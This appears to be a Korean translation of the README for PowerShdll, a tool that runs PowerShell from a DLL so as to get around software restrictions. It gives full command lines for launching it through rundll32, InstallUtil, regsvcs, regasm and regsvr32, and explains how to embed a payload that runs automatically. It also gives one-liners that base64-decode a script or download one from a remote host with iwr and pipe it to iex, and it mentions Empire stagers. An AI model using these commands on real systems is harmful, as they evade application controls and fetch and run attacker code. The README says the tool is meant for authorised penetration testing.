p3nt4/powershdllrundll32로 PowerShell 실행. 소프트웨어 제한 우회.
dll만으로 PowerShell을 실행합니다.
powershell.exe에 접근할 필요 없이 PowerShell 자동화 dll을 사용합니다.
PowerShdll은 rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe 또는 독립 실행형 실행 파일로 실행할 수 있습니다.
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h 이 메시지를 표시합니다
rundll32 PowerShdll,main -f <path> 인수로 전달된 스크립트를 실행합니다
rundll32 PowerShdll,main -w 새 창에서 대화형 콘솔을 시작합니다 (기본값)
rundll32 PowerShdll,main -i 이 콘솔에서 대화형 콘솔을 시작합니다
대화형 콘솔이 없는 경우 출력 충돌을 방지하려면 -n을 사용하십시오
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
4.
regsvr32 /s /u PowerShdll.dll -->DllUnregisterServer 호출
regsvr32 /s PowerShdll.dll --> DllRegisterServer 호출
Usage:
PowerShdll.exe <script>
PowerShdll.exe -h 이 메시지를 표시합니다
PowerShdll.exe -f <path> 인수로 전달된 스크립트를 실행합니다
PowerShdll.exe -i 이 콘솔에서 대화형 콘솔을 시작합니다 (기본값)
common.cs 파일의 start 메서드에서 "payload" 변수를 수정하여 페이로드를 내장할 수 있습니다. 페이로드가 내장된 경우 다른 모든 인수는 무시되고 PowerShdll 실행 시 페이로드가 실행됩니다.
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
참고: Empire 스테이저는 [System.Text.Encoding]::Unicode를 사용하여 디코딩해야 합니다.
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
일부 오류가 출력에 표시되지 않는 것 같습니다. Import-Module과 같은 명령이 실패해도 오류를 출력하지 않으므로 혼동될 수 있습니다. 명령을 올바르게 입력했는지 확인하십시오.
dll 모드에서 대화형 모드 및 명령 출력은 부모 프로세스의 콘솔을 가로채는 방식으로 작동합니다. 부모 프로세스에 콘솔이 없는 경우 -n 스위치를 사용하여 출력을 표시하지 않도록 하십시오. 그렇지 않으면 애플리케이션이 충돌합니다.
Rundll32가 인수를 처리하는 방식 때문에 스위치와 인수 사이에 여러 공백 문자를 사용하면 문제가 발생할 수 있습니다. 스크립트 내의 여러 공백은 괜찮습니다.
이 프로젝트는 보안 연구원 및 침투 테스터를 대상으로 하며, 시스템 소유자의 승인을 받은 경우에만 사용해야 합니다.